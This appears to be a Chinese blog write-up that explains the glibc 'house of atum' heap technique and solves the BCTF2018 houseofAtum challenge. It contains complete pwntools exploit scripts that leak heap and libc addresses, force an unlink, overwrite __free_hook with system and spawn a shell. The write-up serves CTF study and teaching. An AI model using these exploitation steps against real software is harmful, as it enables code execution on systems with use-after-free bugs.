前置知识

  • glibc2.31版本之前,tcache的检查机制比较不太严格,在glibc2.31的时候才出现了key机制,所以在glibc2.31之前,实现tcache double free利用是非常容易的。甚至我们还可以把同一个chunk连续释放8次,第8次释放就会将该chunk放入fastbin中,当然此时该chunk本身还存留在tcache中。

  • 这时我们甚至可以利用UAF漏洞,连续释放同一个chunk8次,使得该chunk被放入fastbin中,该chunk被放入fastbin的同时本身还是留在tcache_bin中。

  • house of atum的适用范围:glibc2.26——glibc2.30

  • house of atum利用的前提条件:

    • 需要在glibc对应版本中。
    • 需要存在UAF漏洞,这里的UAF漏洞需要满足两点,其一是:可以进行double free利用;其二是:edit after free,即该堆块被释放后还可以向这个堆块写入内容。
  • 进行house of atum这个利用方式之前,我们先要了解tcache_bin中的运行机制,而tcache_bin这个运行机制就不在这里多说明了,已经单独写一篇博客了。

  • 其实最好是先学习一下tcache double free这个理由再来学习这个,但是问题不大。

实验

实验1

  • 这个利用方式在how2heap这个仓库中没有理由的代码,这时我们就自己写一个程序来动态调试一下程序的运行情况。
  • 该程序的编译的gcc版本为gcc (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0,但是由于我使用的docker环境中,glibc2.27已经打了补丁,所以我将该编译好的程序复制到WSL中,然后使用glibc-all-in-one这个项目,配合patchelf,这样就能得到实验的环境。
  • 实验的源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

int main()
{
int *ptr;

ptr = malloc(0x10);
for(int i = 0; i <= 7; i++)
{
free(ptr);
}
return 0;
}
  • patchelf完之后就可以开始进行动态调试了。我们就先申请一个堆块。

image-20250325165742613

image-20250325165936179

  • 然后我们先释放一次堆块,我们所申请的堆块就被放入了

image-20250325170006658

image-20250325170129245

  • 这时我们再释放6次这个堆块,这时我们tcachebins中存放0x20大小的堆块就会被放满一样的堆块,这时我们再释放一个堆块,这个堆块就会被放入fastbin中。

image-20250325170231320

  • 现在我们第8次释放堆块,查看bins的状态,此时这个chunkfd指针已经被置0,并且该堆块除了已经放入到tcachebin中,也会被放入到tcachebin中。

image-20250325170415527

实验2

  • 接下来我们一步一步完善我们的利用方式。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

int main()
{
long long int *ptr1,*ptr2,*ptr3,*ptr4;

ptr1 = malloc(0x10);
for(int i = 0; i <= 7; i++)
{
free(ptr1);
}

ptr2 = malloc(0x10);
*ptr2 = (long long int)ptr1-0x10-0x10;
ptr3 = malloc(0x10);
ptr4 = malloc(0x10);
return 0;
}
  • 这时我们将这个代码编译后patchelf,进行调试并且画图理解。我们先来查看堆块释放7次,将tcachebin填满之后就会出现如下图所示。

image-20250325221011601

image-20250325221127719

  • 然后当我们再释放一次堆块,此时tcachebin对应存储着0x20size已经被填满了,这时这个堆块就会被放入fastbin中,如下图所示,并且此时该堆块fd指针会被设置为0

image-20250325221322784

image-20250325221635647

  • 这时我们再申请与之前释放的相同大小的堆块,此时就会从tcachebin中去取空闲的堆块。取完之后,tcachebin这个数组元素的值就会被设置为0,但是tcachebins有一个count标志用于表明该tcachebin中存放空闲chunk的数量,但是这时tcachebin相当于没有空闲的堆块。
  • 但是我们看到fastbin数组中还有空闲的堆块。

image-20250325221723067

image-20250325222007942

  • 这时我们修改我们申请过来的堆块的fd指针,将该指针的值设置为chunk_pre_size_addr - 0x10如下图所示。

image-20250325222439711

image-20250325222409026

  • 这时我们申请一个堆块,此时我们还会申请到0x55731847a250这个位置,但是0x55731847a240会被链到tcachebin链表上,这样我们

image-20250325222617597

image-20250325222625783

image-20250325222749311

  • 然后我们再次申请一个堆块,此时malloc()返回的地址对应的就会是fake_fd这边,对应着我们前面两次申请的堆块的prev_size_addr,这时我们就可以通过这次申请过来的堆块写入数据,从而达到修改chunkprev_size、和chunksizePNM这三个标志位。从而进行后续的利用操作。

利用方式

  • 利用条件:
    • 需要存在UAF漏洞,并且可以使用tcachebin double free
    • 需要泄露堆的地址。
    • 需要泄露
  • 申请 chunk A,大小在 fastbin 范围内
  • 释放 A,连续释放 8 次,此时,Afd 被清 0A 也被放置到了 fastbin 里面
  • 申请一个 chunk,将其 fd 修改为 A - 0x10,此时 tcache 中的 counts6
  • 再申请一个 chunk,从 fastbin 里面取,但是会把 fastbin 里面剩余的一个 chunk 链入到 tcachebin
  • 再次分配就会分配到地址 A-0x10 处,就可以修改原来 Apresize/size

house of atum_level_1

  • 题目来源:BCTF2018-house-of-atum
  • 题目附件:搜索一下就能找到
  • 涉及知识点:house of atumtcachebin下触发unlinkunsortedbin泄露libc地址tcachebin_UAF申请任意地址简单的__free_hook的利用,总的来说也是一套组合利用,由于tcachebin下触发unlinkunsortedbin_attack这两个利用还没怎么了解,所以利用完house of atum就卡住了。
  • 拿到附件之后我们需要使用glibc-all-in-one项目对应的glibc2.27版本进行patchelf,这样该程序才能正常运行。

level_1分析1

  • 我们先运行一下这个程序看一下这个程序的基本运行逻辑。我们运行一下这个程序发现一开始就会弹出一个菜单。基本上就是增、删、改、查这一字面意思。

image-20250325230209439

  • 然后我们就输入选择,我们选择1后,程序会要求用户输入内容。

image-20250325230346252

  • 然后我们再选择2看看,我们选择2后,程序会要求我们输入要内容对应堆块的索引值idx,之后让我们输入新的内容。

image-20250325230426716

  • 我们先来选择第4个选项,发现程序要求我们输入索引,输入后会输出对应索引的堆块。

image-20250325230527849

  • 最后我们选择第3个选项,发现就是清除用户指定索引的堆块。

image-20250325230621784

  • 运行完一遍程序后我们就可以查看一下这个程序的保护机制了,发现保护全开。

image-20250326174311561

  • 大致了解程序的运行逻辑之后,我们就使用IDA对这个程序进行逆向一下。结合之前我们运行的程序,我们大致可以分析出main函数其实就是一个类似于菜单的。

image-20250325230802541

  • 查看一下initialize()函数,我们发现这个函数其实就是一个输入、输出初始化的一个函数。

image-20250325230933133

  • 查看一下menu()这个函数,这个函数会输出菜单,输出菜单后还会调用getint()
  • getint()这个函数实现的功能就是字面意思,也就是获取用户的选项输入

image-20250325230956216

image-20250325231054654

  • 接下来就是看按照这个顺序查看一下菜单对应的各个函数。
  • 先查看alloc()函数
    • 该函数首先会遍历一下已经申请并且存放在notes数组中的堆块个数,我们会发现notes这个是一个全局变量,并且是指针数组类型。
    • 如果已经有两个堆块了,就会告诉用户太多notes,并且不能再申请堆块了
    • 如果还没有申请两个堆块,程序接下去就会申请一个0x48大小的堆块。
    • 并且让用户向里面输入内容。

image-20250325231216793

  • 接下来查看即(delete()这个函数),主要就是让用户输入对应的notes数组的索引,然后直接释放对应索引的堆块。
  • 程序会提示是否要清除堆块,如果输入y就会将notes对应的索引的元素设置为0注意这里就存在UAF漏洞,我们可以选择不clear对应索引的堆块

image-20250325231737109

  • 之后查看edit这个函数,这个函数就先会让用户输入对应的idx,然后向对应的堆块输入新的内容。

image-20250325232057571

  • 最后再查看show(),这个函数就是输出对应堆块的内容。注意这个函数可以配合UAF漏洞使用,从而泄露出堆的地址

image-20250325232206338

  • 程序分析完之后我们再来查看一下全局变量,看看是否有全局变量被我们遗漏的。发现并没有全局变量被我遗漏的。只有一个notes这个全局变量。

image-20250325234241046

level_1分析2

  • 接下来我们进行动态调试,查看一下程序的基本逻辑,我们先写好基本的交互脚本。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.log_level='debug'

p = process('./houseofAtum')

def add(context):
p.sendlineafter(b'Your choice:',b'1')
p.sendafter(b'Input the content:',context)

def edit(idx,context):
p.sendlineafter(b'Your choice:',b'2')
p.sendlineafter(b'Input the idx:',str(idx).encode('utf-8'))
p.sendafter(b'Input the content:',context)

def delete(idx,choose):
p.sendlineafter(b'Your choice:',b'3')
p.sendlineafter(b'Input the idx:',str(idx).encode('utf-8'))
p.sendlineafter(b'Clear?(y/n):',choose)

def show(idx):
p.sendlineafter(b'Your choice:',b'4')
p.sendlineafter(b'Input the idx:',str(idx).encode('utf-8'))


p.interactive()
  • 到这里我们先思考一个问题,这边我们的notes只能是申请两个堆块,这时我们就要先仔细思考一下,我们只申请一个堆块,就只对这个堆块进行利用是否可以。我们会发现当我们只申请一个堆块,就来进行house of atum的利用时,虽然我们可以修改到我们所申请堆块的prev_size位和size位,但是这对后续就会出现死路一条。
  • 首先我们一开始申请的0x250这个堆块是与输入输出缓冲区有关的,而在我们申请堆块相邻高地址处就是top_chunk了。
  • 这时就会出现一个问题,我们没办法修改相邻的两个堆块中的内容,这时如果我们修改了中间chunkprev_sizesize位,进行一些unlink等操作就会报错,因为我们没办法修改其他堆块从而绕过检查。

image-20250326131739609

  • 这个时候我们就需要先申请两个堆块了,其中idx=0是我们要进行house of atum利用的堆块。而idx=1对应的堆块是帮助我们绕过检查的堆块。
  • 然后我们将idx=1对应的堆块,在fd偏移0x30到0x40这个地址处写入payload = p64(0)*7+p64(0x11),因为tcache一开始设计就是为了提高堆分配的效率,所以当我们释放idx=1对应的堆块时,它被放入tcachebin中,但是里面写入的数据还是存在的。所以我们就可以利用这个一特性先写入payload = p64(0)*7+p64(0x11),这样我们在之后修改它相邻低地址堆块对应的prev_size和size位时就可以绕过unlink这个检查。此时堆中内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context.log_level='debug'

p = process('./houseofAtum')
libc = ELF('/home/myheart/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def add(context):
p.sendlineafter(b'Your choice:',b'1')
p.sendafter(b'Input the content:',context)

def edit(idx,context):
p.sendlineafter(b'Your choice:',b'2')
p.sendlineafter(b'Input the idx:',str(idx).encode('utf-8'))
p.sendafter(b'Input the content:',context)

def delete(idx,choose):
p.sendlineafter(b'Your choice:',b'3')
p.sendlineafter(b'Input the idx:',str(idx).encode('utf-8'))
p.sendlineafter(b'Clear?(y/n):',choose)

def show(idx):
p.sendlineafter(b'Your choice:',b'4')
p.sendlineafter(b'Input the idx:',str(idx).encode('utf-8'))

add(b'aaa')
add(b'aaa')
payload = p64(0)*7+p64(0x11)
edit(1,payload)

image-20250326193531005

  • 在做完绕过准备后,我们先要泄露出堆块的地址,这样我们再能进行house of atum这个利用,这时我们先连续释放2idx=0对应的堆块,释放之后,这个堆块对应的fd指针,就是指向自己堆块结构中fd指针的地址。如下图所示

image-20250326194009607

image-20250326194020690

image-20250326194116301

  • 接下来我们就可以进行house of atum的利用了
    • 我们先释放idx=1处的堆块,因为如果idx=1处的堆块没有被释放,我们就不能连续申请两个堆块,就没办法利用house of atum了。
    • 先释放idx=1处的堆块后,再释放5idx=0处的堆块就行。
    • 5次释放idx=0处的堆块时,要将notes[0]处的元素设置为0,这样做也是为了后续我们能连续申请两个堆块。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context.log_level='debug'

p = process('./houseofAtum')
libc = ELF('/home/myheart/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def add(context):
p.sendlineafter(b'Your choice:',b'1')
p.sendafter(b'Input the content:',context)

def edit(idx,context):
p.sendlineafter(b'Your choice:',b'2')
p.sendlineafter(b'Input the idx:',str(idx).encode('utf-8'))
p.sendafter(b'Input the content:',context)

def delete(idx,choose):
p.sendlineafter(b'Your choice:',b'3')
p.sendlineafter(b'Input the idx:',str(idx).encode('utf-8'))
p.sendlineafter(b'Clear?(y/n):',choose)

def show(idx):
p.sendlineafter(b'Your choice:',b'4')
p.sendlineafter(b'Input the idx:',str(idx).encode('utf-8'))

add(b'aaa')
add(b'aaa')
payload = p64(0)*7+p64(0x11)
edit(1,payload)
delete(0,'n')
delete(0,'n')
show(0)
p.recvuntil(b'Content:')
chunk_addr = p.recvline()[:-1]
chunk_addr = int.from_bytes(chunk_addr,'little')
print('chunk_addr-->',hex(chunk_addr))
chunk_addr = chunk_addr -0x10 - 0x20
delete(1,'y')
delete(0,'n')
delete(0,'n')
delete(0,'n')
delete(0,'n')
delete(0,'y')
  • 操作所对应的exp,操作完之后我们再看一下对应的内存,发现堆块的布局如下我们连续释放的堆块已经被放入fastbin中,并且其fd指针已经被设置为0了

image-20250326194449782

image-20250326194935684

  • 并且此时我们发现,我们之前写入的0x11还保留在对应的堆块中。

image-20250326195020891

  • 这时我们就可以进行house of atum的利用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
context.log_level='debug'

p = process('./houseofAtum')
libc = ELF('/home/myheart/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def add(context):
p.sendlineafter(b'Your choice:',b'1')
p.sendafter(b'Input the content:',context)

def edit(idx,context):
p.sendlineafter(b'Your choice:',b'2')
p.sendlineafter(b'Input the idx:',str(idx).encode('utf-8'))
p.sendafter(b'Input the content:',context)

def delete(idx,choose):
p.sendlineafter(b'Your choice:',b'3')
p.sendlineafter(b'Input the idx:',str(idx).encode('utf-8'))
p.sendlineafter(b'Clear?(y/n):',choose)

def show(idx):
p.sendlineafter(b'Your choice:',b'4')
p.sendlineafter(b'Input the idx:',str(idx).encode('utf-8'))

add(b'aaa')
add(b'aaa')
payload = p64(0)*7+p64(0x11)
edit(1,payload)
delete(0,'n')
delete(0,'n')
show(0)
p.recvuntil(b'Content:')
chunk_addr = p.recvline()[:-1]
chunk_addr = int.from_bytes(chunk_addr,'little')
print('chunk_addr-->',hex(chunk_addr))
chunk_addr = chunk_addr -0x10 - 0x20
delete(1,'y')
delete(0,'n')
delete(0,'n')
delete(0,'n')
delete(0,'n')
delete(0,'y')
payload = p64(chunk_addr)
add(payload)
add(b'a'*0x10)
delete(1,'y')
payload = p64(0)*0x3 + p64(0x91)
add(payload)
  • 先申请一个堆块,将这个堆块的fd指针修改为chunk_addr = chunk_addr -0x10 - 0x20 ,也就是这个位置

image-20250326195231451

  • 然后我们再申请一个堆块,这个堆块的内容随便填一下,这样我们就可以得到如下的bins,我们会发现0x*****240即上图中对应红框框起来的下面一个位置,已经被放入到了tcachebin中。
  • 但是此时我们的idx=0idx=1都有堆块存放了,所以我们这时需要释放一个堆块,才能将放入tcachebin中的堆块给申请回来。而释放idx=0或者idx=1其中一个都没什么问题,他们指向的都是0x******260,并且存放0x50大小的堆块对应的tcachebin已经存满7块了,所以我们释放这两个堆块的其中一个,都会被放入fastbin中。我们选择释放掉idx=1

image-20250326195531366

image-20250326200336719

  • 释放完idx=1后,我们就可以将对应的0x******240这个堆块给申请回来,并且就可以从0x******240开始往里面写数据,在写数据的时候可以覆盖到原来我们堆块的prev_sizesize位。这时我们就可以保持prev_size=0x0并且size=0x91为我们后续触发unlink操作做准备。我们计算0x91这个位置,刚好就是下图所示的范围。
  • 此时我们idx=1指向的地址为0x*****240idx=0指向的地址为0x********260

image-20250326200915924

  • 接下来我们就要实现在tcachebin下的如何触发unlink
  • 首先我们需要让tcachebin对应的位置存满7个堆块,然后我们第8次释放后就会放入fastbin中,并且查看是否能合并,如果能和其他相邻的堆块合并,就会进行合并操作,合并后的堆块就会被放入unsortedbin这个堆块中。所有我们就要释放idx=0对应的堆块8
  • 这里还要注意下,在第8次释放的时候,我们要将notes[0]中的数据设置为0。这样我们之后才能申请堆块。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
context.log_level='debug'

p = process('./houseofAtum')
libc = ELF('/home/myheart/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def add(context):
p.sendlineafter(b'Your choice:',b'1')
p.sendafter(b'Input the content:',context)

def edit(idx,context):
p.sendlineafter(b'Your choice:',b'2')
p.sendlineafter(b'Input the idx:',str(idx).encode('utf-8'))
p.sendafter(b'Input the content:',context)

def delete(idx,choose):
p.sendlineafter(b'Your choice:',b'3')
p.sendlineafter(b'Input the idx:',str(idx).encode('utf-8'))
p.sendlineafter(b'Clear?(y/n):',choose)

def show(idx):
p.sendlineafter(b'Your choice:',b'4')
p.sendlineafter(b'Input the idx:',str(idx).encode('utf-8'))

add(b'aaa')
add(b'aaa')
payload = p64(0)*7+p64(0x11)
edit(1,payload)
delete(0,'n')
delete(0,'n')
show(0)
p.recvuntil(b'Content:')
chunk_addr = p.recvline()[:-1]
chunk_addr = int.from_bytes(chunk_addr,'little')
print('chunk_addr-->',hex(chunk_addr))
chunk_addr = chunk_addr -0x10 - 0x20
delete(1,'y')
delete(0,'n')
delete(0,'n')
delete(0,'n')
delete(0,'n')
delete(0,'y')
payload = p64(chunk_addr)
add(payload)
add(b'a'*0x10)
delete(1,'y')
payload = p64(0)*0x3 + p64(0x91)
add(payload)
delete(0,'n')
delete(0,'n')
delete(0,'n')
delete(0,'n')
delete(0,'n')
delete(0,'n')
delete(0,'n')
delete(0,'y')
  • 我们来查看效果,unlink后的bins和堆内存。我们发现图中的堆块已经成功被触发了unlink操作。

image-20250326201753407

  • 并且我们发现放入unsortedbin中的堆块,fdbk对应的值为main_arena+96的位置,由于notes[0]处的元素已经被设置为0了这时我们就可以使用show(1)来泄露堆块

image-20250326201944561

  • 接下来就是泄露操作了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
context.log_level='debug'

p = process('./houseofAtum')
libc = ELF('/home/myheart/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def add(context):
p.sendlineafter(b'Your choice:',b'1')
p.sendafter(b'Input the content:',context)

def edit(idx,context):
p.sendlineafter(b'Your choice:',b'2')
p.sendlineafter(b'Input the idx:',str(idx).encode('utf-8'))
p.sendafter(b'Input the content:',context)

def delete(idx,choose):
p.sendlineafter(b'Your choice:',b'3')
p.sendlineafter(b'Input the idx:',str(idx).encode('utf-8'))
p.sendlineafter(b'Clear?(y/n):',choose)

def show(idx):
p.sendlineafter(b'Your choice:',b'4')
p.sendlineafter(b'Input the idx:',str(idx).encode('utf-8'))

add(b'aaa')
add(b'aaa')
payload = p64(0)*7+p64(0x11)
edit(1,payload)
delete(0,'n')
delete(0,'n')
show(0)
p.recvuntil(b'Content:')
chunk_addr = p.recvline()[:-1]
chunk_addr = int.from_bytes(chunk_addr,'little')
print('chunk_addr-->',hex(chunk_addr))
chunk_addr = chunk_addr -0x10 - 0x20
delete(1,'y')
delete(0,'n')
delete(0,'n')
delete(0,'n')
delete(0,'n')
delete(0,'y')
payload = p64(chunk_addr)
add(payload)
add(b'a'*0x10)
delete(1,'y')
payload = p64(0)*0x3 + p64(0x91)
add(payload)
delete(0,'n')
delete(0,'n')
delete(0,'n')
delete(0,'n')
delete(0,'n')
delete(0,'n')
delete(0,'n')
delete(0,'y')
payload1 = b'a'*0x20
edit(1,payload1)
show(1)
p.recvuntil(b'Content:'+b'a'*0x20)
leak = p.recvline()[:-1]
leak = int.from_bytes(leak,'little')
print('leak--->',hex(leak))
libc_addr = leak - 96 -0x10 -libc.symbols['__malloc_hook']
print('libc_addr---->',hex(libc_addr))
sys_addr = libc_addr+libc.symbols['system']
free_hook = libc_addr + libc.symbols['__free_hook']
edit(1,payload)
  • 但是在进行show(1)操作时,我们还要对idx=1处的堆块进行编辑。因为0x*****240这边都是空字节,在使用puts函数输出时,并不会将main_arena+96这个地址给泄露出来。所以我们要先填充b'a'*0x20,再调用show(1)进行地址的泄露。

image-20250326202137118

  • 并且泄露之后我们还需要将对应地址0x****260prev_sizesize复原,要不然在下次申请的时候会程序就会报错。
  • 泄露的结果如下:

image-20250326202717422

  • 接下来我们就要对unsortedbin这个运行进制进行利用了,我们先来看看目前bins的布局

image-20250326202809125

image-20250326204013421

  • 此时利用的是tcachebin_UAF然后申请到任意地址,我们已经泄露了libc的地址,这时我们就可以劫持hook从而getshell,这里我们选择劫持__free_hook这个函数指针为system('/bin/sh')。所以我们先要将堆块申请到__free_hook这个位置。
  • 并且由于tcachebins在取出堆块的时候并没有对chunksize位做检测,所以并不要寻找合适的size对应的内存进行申请,直接申请__free_hook-0x20这个位置即可。

image-20250326204959390

  • 这时我们还需要修改已经被放入tcachbin中的size位为0x51,这样我们申请的时候就可以申请到处于0x*****260处的堆块。
  • 并且我们还要修改fd的值为free_hook-0x20,这样在申请完0x*******260这个堆块的时候free_hook-0x20这个地址就会被链到tcachebin上,具体效果如下:

image-20250326205742872

  • 但是此时idx=0idx=1都已经有堆块了,所以我们申请到0x******260这个堆块后,又要将其释放。但是该堆块会被放入fasbin中,所以我们下次申请时就会申请到__free_hook-0x20这个位置,接下来将/bin/sh先写入到free_hook-0x10的位置,然后将system_addr填入__free_hook中。
1
2
3
4
5
6
7
8
9
10
11
payload = p64(0)*0x3 + p64(0x51) + p64(free_hook-0x20)
edit(1,payload)
#payload = p64(free_hook-0x10)
add(b'a')
delete(0,'y')
payload = b'/bin/sh\x00'*2+p64(sys_addr)
add(payload)
p.sendlineafter(b'Your choice:',b'3')
p.sendlineafter(b'Input the idx:',b'0')
gdb.attach(p)
p.interactive()

image-20250326210646490

  • 填入之后再使用free调用释放这个堆块,这时free(0x7fcd558de8d8),就相当于执行system("/bin/sh")0x7fcd558de8d8这个内存地址中存储的就是/bin/sh\x00这个字符串。这样就能取得shell

image-20250326211104707

level_1_exp

  • 具体的exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
context.log_level='debug'

p = process('./houseofAtum')
libc = ELF('/home/myheart/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def add(context):
p.sendlineafter(b'Your choice:',b'1')
p.sendafter(b'Input the content:',context)

def edit(idx,context):
p.sendlineafter(b'Your choice:',b'2')
p.sendlineafter(b'Input the idx:',str(idx).encode('utf-8'))
p.sendafter(b'Input the content:',context)

def delete(idx,choose):
p.sendlineafter(b'Your choice:',b'3')
p.sendlineafter(b'Input the idx:',str(idx).encode('utf-8'))
p.sendlineafter(b'Clear?(y/n):',choose)

def show(idx):
p.sendlineafter(b'Your choice:',b'4')
p.sendlineafter(b'Input the idx:',str(idx).encode('utf-8'))

add(b'aaa')
add(b'aaa')
payload = p64(0)*7+p64(0x11)
edit(1,payload)
delete(0,'n')
delete(0,'n')
show(0)
p.recvuntil(b'Content:')
chunk_addr = p.recvline()[:-1]
chunk_addr = int.from_bytes(chunk_addr,'little')
print('chunk_addr-->',hex(chunk_addr))
chunk_addr = chunk_addr -0x10 - 0x20
delete(0,'n')
delete(0,'n')
delete(0,'n')
delete(1,'y')
delete(0,'n')
delete(0,'y')
payload = p64(chunk_addr)
add(payload)
add(b'a'*0x10)
delete(1,'y')
payload = p64(0)*0x3 + p64(0x91)
add(payload)
delete(0,'n')
delete(0,'n')
delete(0,'n')
delete(0,'n')
delete(0,'n')
delete(0,'n')
delete(0,'n')
delete(0,'y')
payload1 = b'a'*0x20
edit(1,payload1)
show(1)
p.recvuntil(b'Content:'+b'a'*0x20)
leak = p.recvline()[:-1]
leak = int.from_bytes(leak,'little')
print('leak--->',hex(leak))
libc_addr = leak - 96 -0x10 -libc.symbols['__malloc_hook']
print('libc_addr---->',hex(libc_addr))
sys_addr = libc_addr+libc.symbols['system']
free_hook = libc_addr + libc.symbols['__free_hook']
edit(1,payload)
payload = p64(0)*0x3 + p64(0x51) + p64(free_hook-0x20)
edit(1,payload)
payload = p64(free_hook-0x10)
add(payload)
delete(0,'y')
payload = b'/bin/sh\x00'*2+p64(sys_addr)
add(payload)
p.sendlineafter(b'Your choice:',b'3')
p.sendlineafter(b'Input the idx:',b'0')
#gdb.attach(p)
p.interactive()

利用失效

  • glibc2.31后利用基本失效了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// glibc ≥ 2.30
void *
__libc_malloc (size_t bytes)
{
//......
MAYBE_INIT_TCACHE ();

DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
&& tcache
&& tcache->counts[tc_idx] > 0)
{
return tcache_get (tc_idx);
}
}

// glibc < 2.30
void *
__libc_malloc (size_t bytes)
{
//......
MAYBE_INIT_TCACHE ();

DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
&& tcache
&& tcache->entries[tc_idx] != NULL)
{
return tcache_get (tc_idx);
}
}